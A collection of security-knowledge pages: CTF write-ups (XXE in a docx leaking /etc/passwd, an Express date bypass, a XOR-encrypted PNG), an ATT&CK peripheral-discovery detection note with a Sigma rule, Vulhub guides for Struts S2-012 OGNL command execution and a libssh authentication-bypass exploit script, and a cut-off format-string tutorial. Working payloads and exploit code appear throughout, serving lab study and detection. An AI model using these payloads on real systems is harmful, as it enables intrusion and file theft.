we should perform some kind of XXE injection to retrieve the flag. Fortunately, [Payload all the Things](https://github.com/swisskyrepo/PayloadsAllTheThings) has some [recipes](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#xxe-inside-docx-file) for that too. Let's take a random `docx` file: ```console root@kali:/media/sf_CTFs/technion/Document_with_secrets/attack# file xxe.docx xxe.docx: Microsoft Word 2007+ root@kali:/media/sf_CTFs/technion/Document_with_secrets/attack# exiftool xxe.docx | grep Creator Creator : Fake Author ``` This document was created by "Fake Author". Now lets see if we can find out where this data is stored within the `docx` file: ```console root@kali:/media/sf_CTFs/technion/Document_with_secrets/attack# unzip xxe.docx Archive: xxe.docx inflating: [Content_Types].xml inflating: _rels/.rels inflating: word/document.xml inflating: word/_rels/document.xml.rels inflating: word/theme/theme1.xml inflating: docProps/thumbnail.emf inflating: word/settings.xml inflating: word/styles.xml inflating: word/webSettings.xml inflating: word/fontTable.xml inflating: docProps/core.xml inflating: docProps/app.xml root@kali:/media/sf_CTFs/technion/Document_with_secrets/attack# grep -rnw "Fake Author" docProps/core.xml:2:<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><dc:creator>Fake Author</dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy>Owner</cp:lastModifiedBy><cp:revision>9</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2020-12-15T20:47:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2020-12-18T19:23:00Z</dcterms:modified></cp:coreProperties> ``` As expected, it's in an XML file. Let's modify the file to perform the XXE attack: ```console root@kali:/media/sf_CTFs/technion/Document_with_secrets/attack# cat docProps/core.xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><dc:creator>&xxe;</dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy>Owner</cp:lastModifiedBy><cp:revision>9</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2020-12-15T20:47:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2020-12-18T19:23:00Z</dcterms:modified></cp:coreProperties> ``` What we're doing here is telling the XML parser to look up the `creator` in an external entity which base64-encodes `/etc/passwd`. The encoded content of the file will be inserted into the `creator` field. We update the file in the `docx` archive: ```console root@kali:/media/sf_CTFs/technion/Document_with_secrets/attack# zip -u xxe.docx docProps/core.xml updating: docProps/core.xml (deflated 47%) ``` And upload it to the website. When we request the data again, we get: ```console root@kali:/media/sf_CTFs/technion/Document_with_secrets/attack# curl 'http://www.vulnet.zone/api/bugs/getBugs.php' -H 'Connection: keep-alive' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H 'Content-Type: text/plain;charset=UTF-8' -H 'Accept: */*' -H 'Origin: http://www.vulnet.zone' -H 'Referer: http://www.vulnet.zone/welcome.php' -H 'Accept-Language: en-US,en;q=0.9,he;q=0.8' -H 'Cookie: cookies_here' --data-binary '{"id":"320"}' --compressed --insecure {"status":"succeeded","data":[{"category":"Open this select menu","company":"<script>document.getElementById(\"bugsTable\").rows[1].cells[1].innerHTML = document.cookie; <\/script>","details":""},{"category":"Open this select menu","company":"Fake Company","details":"http:\/\/www.vulnet.zone:80\/uploads\/test.docx|Fake Author"},{"category":"Open this select menu","company":"","details":"http:\/\/www.vulnet.zone:80\/uploads\/xxe.docx|cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTE6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMDk6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpsYW5kc2NhcGU6eDoxMTA6MTE1OjovdmFyL2xpYi9sYW5kc2NhcGU6L3Vzci9zYmluL25vbG9naW4KcG9sbGluYXRlOng6MTExOjE6Oi92YXIvY2FjaGUvcG9sbGluYXRlOi9iaW4vZmFsc2UKZWMyLWluc3RhbmNlLWNvbm5lY3Q6eDoxMTI6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KdWJ1bnR1Ong6MTAwMDoxMDAwOlVidW50dTovaG9tZS91YnVudHU6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmZsYWc2Ong6MTAwMToxMDAxOmNzdGVjaG5pb257eW91X3JvY2tfdGhpc19pc190aGVfZW5kfTovaG9tZS9mbGFnNjovYmluL3NoCg=="}]} ``` The `flag6` has the flag: ```console root@kali:/media/sf_CTFs/technion/Document_with_secrets/attack# echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTE6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMDk6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpsYW5kc2NhcGU6eDoxMTA6MTE1OjovdmFyL2xpYi9sYW5kc2NhcGU6L3Vzci9zYmluL25vbG9naW4KcG9sbGluYXRlOng6MTExOjE6Oi92YXIvY2FjaGUvcG9sbGluYXRlOi9iaW4vZmFsc2UKZWMyLWluc3RhbmNlLWNvbm5lY3Q6eDoxMTI6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KdWJ1bnR1Ong6MTAwMDoxMDAwOlVidW50dTovaG9tZS91YnVudHU6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmZsYWc2Ong6MTAwMToxMDAxOmNzdGVjaG5pb257eW91X3JvY2tfdGhpc19pc190aGVfZW5kfTovaG9tZS9mbGFnNjovYmluL3NoCg== | base64 -d root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false flag6:x:1001:1001:cstechnion{you_rock_this_is_the_end}:/home/flag6:/bin/sh ``` The flag: `cstechnion{you_rock_this_is_the_end}`.
sec-knowleage
# T1120-win-周边设备发现 ## 来自ATT&CK的描述 攻击者可能试图收集有关连接到计算机系统的外围设备和组件的信息。外围设备可以包括支持各种功能的辅助资源,如键盘、打印机、照相机、智能卡读卡器或可移动存储。这些信息可用于提高他们对系统和网络环境的认识,或可用于进一步的行动。 ## 测试案例 fsutil-fsinfo命令列出所有驱动器、查询驱动器类型、查询卷信息、查询特定于 NTFS 的卷信息或查询文件系统统计信息。 fsutil fsinfo drivetype C: 可能的结果为: 未知驱动器 没有这样的根目录 可移动驱动器,如软驱 固定驱动器 远程/网络驱动器 CD-ROM 驱动器 Ram 磁盘 ## 检测日志 windows安全日志 ## 测试复现 ```yml Microsoft Windows [版本 10.0.14393] (c) 2016 Microsoft Corporation。保留所有权利。 C:\Users\Administrator>fsutil fsinfo drivetype C: C: - 固定驱动器 ``` ## 测试留痕 ```yml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2021/8/8 19:35:36 事件 ID: 4688 任务类别: 进程创建 级别: 信息 关键字: 审核成功 用户: 暂缺 计算机: WIN-1CIA2BP8VBJ.qax.com 描述: 已创建新进程。 创建者主题: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0x187CD2 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0xc38 新进程名称: C:\Windows\System32\fsutil.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x151c 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: fsutil fsinfo drivetype C: ``` ## 检测规则/思路 ### sigma规则 ```yml title: 在windows使用fsutil-fsinfo命令列出驱动器类型 description: windows server 2016 tags: T1120 status: experimental logsource: product: windows service: security detection: selection: EventID: 4688 #已创建新的进程。 Newprocessname: 'C:\Windows\System32\fsutil.exe' #进程信息>进程名称 Processcommandline: 'fsinfo drivetype' #进程信息>进程命令行 condition: selection level: medium ``` ### 建议 监测进程和命令行参数,以了解可能采取的行动,收集系统和网络信息。具有内置功能的远程访问工具可能直接与Windows API互动以收集信息。信息也可以通过Windows系统管理工具,如WMI和PowerShell获得。 ## 参考推荐 MITRE-ATT&CK-T1120 <https://attack.mitre.org/techniques/T1120/> fsutil-fsinfo命令详解 <https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/fsutil-fsinfo>
sec-knowleage
# S2-012 Remote Code Execution Vulnerablity [中文版本(Chinese version)](README.zh-cn.md) Affected Version: 2.1.0 - 2.3.13 Details: http://struts.apache.org/docs/s2-012.html ## Reference If the redirect type is used when configuring `result` in the `action`, and ${param_name} is also used as the redirect variable, for example: ```xml <package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> <result name="redirect" type="redirect">/index.jsp?name=${name}</result> <result name="input">/index.jsp</result> <result name="success">/index.jsp</result> </action> </package> ``` During the redirection process, struts2 performs an OGNL expression parsing on the value of the `name` parameter, so that OGNL expression can be inserted to cause the command execution. ## Setup ``` docker compose build docker compose up -d ``` ## Exploit We can use s2-001's POC directly: ``` %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} ``` Result: ![](1.png)
sec-knowleage
# Magic test (Web) In the task we get a very simple webpage where we can input a name and birthday. We get source code of the server part as well: ```javascript const express = require('express') const app = express() function getTimestamp(date) { try{ var x = Math.floor((new Date(date)) / 1000); return x; } catch( e ){ return Math.floor((new Date()) / 1000); } } function getAsciiCode(str) { var arr1 = []; for (var n = 0; n < str.length; n ++) { var ascii = Number(str.charCodeAt(n)); arr1.push(ascii); } return arr1.join(''); } app.get('/:username/:birth_day', (req, res) => { flag = '************'; username = req.params.username || ''; birthDay = req.params.birth_day || ''; console.log(username); console.log(birthDay); var priority = Math.pow(2, getAsciiCode(username) + getTimestamp(birthDay)); if(priority >= 0) { res.send('Hey peasent, no flag for you !!'); } else { res.send('Your magical powers have been proven, here is your flag: ' + flag ); } }); app.listen(3000, () => console.log('Node Task app listening on port 3000!')); ``` It's clear we need to bypass the check and therefore the value of `Math.pow(2, getAsciiCode(username) + getTimestamp(birthDay))` needs to be `< 0`. Initially we simply wanted to send a non-date string as birthday (eg. some text), causing the result of `getTimestamp` to be `NaN`, but there must have been some validation of the input format. In the end it worked as we wanted for string `2018-01-32` and we got `Flag{PhP_H4s_seCuriTY_issues_THEY-Said!!!}`
sec-knowleage
# Somewhat OTP Category: Cryptography, 250 points ## Description > Oh no! EEvil department managed to get an hold on our computers and encrypted all of our files! We know from last time that their cryptography skills are not the best, see if you can reverse the encryption, you might even get a flag... A binary file was attached. ## Solution Let's check the file: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Somewhat_OTP] └─$ file somewhat_otp.png.evil somewhat_otp.png.evil: data ``` It isn't recognized, we should check the contents: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Somewhat_OTP] └─$ xxd -g 1 somewhat_otp.png.evil | head 00000000: 89 d9 c7 ce 84 83 93 83 89 89 89 84 c0 c1 cd db ................ 00000010: 00 00 07 80 00 00 04 38 08 06 00 00 00 e8 d3 c1 .......8........ 00000020: 43 43 43 43 45 21 08 04 07 43 bc 43 bc 43 bc e3 CCCCE!...C.C.C.. 00000030: bd 1a 2e bd bd bd b4 cd f5 e4 ce bd bd 93 9e bd ................ 00000040: 00 2e 23 01 78 a5 3f 76 00 00 00 07 74 49 4d 45 ..#.x.?v....tIME 00000050: 07 e2 0c 0a 0a 2a 30 98 af a2 e9 07 07 07 1e 73 .....*0........s 00000060: 45 1d 31 06 2a 28 28 20 2b 31 45 06 37 20 24 31 E.1.*(( +1E.7 $1 00000070: 65 01 45 12 0c 11 0d 45 22 2c 28 35 32 e4 6b 72 e.E....E",(52.kr 00000080: 00 00 20 00 49 44 41 54 78 da ec dd cd 6f 94 d7 .. .IDATx....o.. 00000090: dd 2d 2c 42 e0 6b 1a eb 1b bb 1f e6 eb f9 49 ca .-,B.k........I. ``` We can clearly see `tIME` and `IDAT` which are known PNG chunks names, but the PNG header is corrupted. We know that a PNG file should start with the following sequence: ``` 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 ``` This is what we have instead: ``` 89 d9 c7 ce 84 83 93 83 89 89 89 84 c0 c1 cd db ``` Here they are one on top of the other: ``` 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 89 d9 c7 ce 84 83 93 83 89 89 89 84 c0 c1 cd db ``` Notice how the `00 00 00` sequence gets translated to `89 89 89`, and how `0A` gets translated to `83` twice. That's feels like a substitution cipher or a XOR encryption. It's easy to check the latter: ```python >>> a = "89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52" >>> b = "89 d9 c7 ce 84 83 93 83 89 89 89 84 c0 c1 cd db" >>> for (x, y) in zip(a.split(), b.split()): ... print(hex(int(x, 16) ^ int(y, 16)), end=" ") ... 0x0 0x89 0x89 0x89 0x89 0x89 0x89 0x89 0x89 0x89 0x89 0x89 0x89 0x89 0x89 0x89 ``` So most of the line was encrypted using `0x89`, except for the first byte. For other bytes, we can't really know for sure what the expected value is. But, if we scroll down a bit, we can see an interesting pattern: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Somewhat_OTP] └─$ xxd -g 1 --skip 256 --length 256 somewhat_otp.png.evil 00000100: 00 00 00 00 00 00 f8 dc ab b7 04 00 00 00 00 00 ................ 00000110: 00 00 39 08 c0 00 00 00 00 00 00 00 49 08 c0 00 ..9.........I... 00000120: 00 00 00 00 00 00 49 08 c0 00 00 00 00 00 00 00 ......I......... 00000130: 49 41 89 49 49 49 49 49 49 49 00 41 89 49 49 49 IA.IIIIIII.A.III 00000140: 00 00 00 00 49 08 c0 00 00 00 00 00 00 00 49 08 ....I.........I. 00000150: c0 c0 c0 c0 c0 c0 c0 c0 89 c8 00 c0 c0 c0 c0 c0 ................ 00000160: 00 00 49 08 c0 00 00 00 00 00 00 00 49 08 c0 00 ..I.........I... 00000170: 00 00 00 00 00 00 49 08 c0 00 00 00 00 00 00 00 ......I......... 00000180: 49 41 89 49 49 49 49 49 49 49 00 41 89 49 49 49 IA.IIIIIII.A.III 00000190: 00 00 00 00 49 08 c0 00 00 00 00 00 00 00 49 08 ....I.........I. 000001a0: c0 c0 c0 c0 c0 c0 c0 c0 89 c8 00 c0 c0 c0 c0 c0 ................ 000001b0: 00 00 49 08 c0 00 00 00 00 00 00 00 49 08 c0 00 ..I.........I... 000001c0: 00 00 00 00 00 00 49 08 c0 00 00 00 00 00 00 00 ......I......... 000001d0: 49 41 89 49 49 49 49 49 49 49 00 41 89 49 49 49 IA.IIIIIII.A.III 000001e0: 00 00 00 00 49 08 c0 00 00 00 00 00 00 00 49 08 ....I.........I. 000001f0: c0 c0 c0 c0 c0 c0 c0 c0 89 c8 00 c0 c0 c0 c0 c0 ................ ``` There are many zeroes there, but every now and then one of the lines has a different common value (e.g. `0x49` or `0xc0`). To turn those lines back into (mostly) zeroes, we'll have to XOR them with the common value from the same line. For example, if we take `c0 c0 c0 c0 c0 c0 c0 c0 89 c8 00 c0 c0 c0 c0 c0` and XOR it with `0xc0`, we get `00 00 00 00 00 00 00 00 49 08 c0 00 00 00 00 00`. Adding these two observations together, we can come up with a theory where the first byte of each line (16 bytes) is the key used to encrypt the rest of the line. So, to decrypt the file, we can try: ```python with open("somewhat_otp.png.evil", "rb") as f, open("output.png", "wb") as o: while chunk := f.read(16): o.write(bytes([chunk[0]] + [chunk[0] ^ x for x in chunk[1:]])) ``` This gives us: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Somewhat_OTP] └─$ python3 solve.py ┌──(user@kali)-[/media/sf_CTFs/technion/Somewhat_OTP] └─$ pngcheck output.png OK: output.png (1920x1080, 32-bit RGB+alpha, non-interlaced, 99.0%). ``` The result is a slightly rotated text with the flag, we can rotate it back and use OCR to avoid typing it: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Somewhat_OTP] └─$ convert -rotate "8" output.png rotated.png ┌──(user@kali)-[/media/sf_CTFs/technion/Somewhat_OTP] └─$ tesseract rotated.png - cstechnion{atleast_it's_not_vigenere} ```
sec-knowleage
# libssh 服务端权限认证绕过漏洞(CVE-2018-10933) libssh是一个提供ssh相关接口的开源库,包含服务端、客户端等。其服务端代码中存在一处逻辑错误,攻击者可以在认证成功前发送`MSG_USERAUTH_SUCCESS`消息,绕过认证过程,未授权访问目标SSH服务器。 参考资料: - https://www.libssh.org/security/advisories/CVE-2018-10933.txt - https://www.seebug.org/vuldb/ssvid-97614 ## 漏洞环境 执行如下命令启动存在漏洞的环境: ``` docker compose up -d ``` 环境启动后,我们可以连接`your-ip:2222`端口(账号密码:`myuser:mypassword`),这是一个合法的ssh流程: ![](1.png) ## 漏洞复现 参考 https://www.seebug.org/vuldb/ssvid-97614 中给出的POC,我们编写一个简单的漏洞复现脚本: ```python #!/usr/bin/env python3 import sys import paramiko import socket import logging logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) bufsize = 2048 def execute(hostname, port, command): sock = socket.socket() try: sock.connect((hostname, int(port))) message = paramiko.message.Message() transport = paramiko.transport.Transport(sock) transport.start_client() message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) client = transport.open_session(timeout=10) client.exec_command(command) # stdin = client.makefile("wb", bufsize) stdout = client.makefile("rb", bufsize) stderr = client.makefile_stderr("rb", bufsize) output = stdout.read() error = stderr.read() stdout.close() stderr.close() return (output+error).decode() except paramiko.SSHException as e: logging.exception(e) logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable") except socket.error: logging.debug("Unable to connect.") return None if __name__ == '__main__': print(execute(sys.argv[1], sys.argv[2], sys.argv[3])) ``` 使用python3执行,即可在目标服务器上执行任意命令: ![](2.png)
sec-knowleage
# 例子 下面会介绍一些 CTF 中的格式化漏洞的题目。也都是格式化字符串常见的利用。 ## 64位程序格式化字符串漏洞 ### 原理 其实 64 位的偏移计算和 32 位类似,都是算对应的参数。只不过 64 位函数的前 6 个参数是存储在相应的寄存器中的。那么在格式化字符串漏洞中呢?虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。 ### 例子 这里,我们以 2017 年的 UIUCTF 中 [pwn200 GoodLuck](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck) 为例进行介绍。这里由于只有本地环境,所以我在本地设置了一个 flag.txt 文件。 #### 确定保护 ```shell ➜ 2017-UIUCTF-pwn200-GoodLuck git:(master) ✗ checksec goodluck Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ``` 可以看出程序开启了 NX 保护以及部分 RELRO 保护。 #### 分析程序 可以发现,程序的漏洞很明显 ```C for ( j = 0; j <= 21; ++j ) { v5 = format[j]; if ( !v5 || v11[j] != v5 ) { puts("You answered:"); printf(format); puts("\nBut that was totally wrong lol get rekt"); fflush(_bss_start); result = 0; goto LABEL_11; } } ``` #### 确定偏移 我们在 printf 处下偏移如下,这里只关注代码部分与栈部分。 ```shell 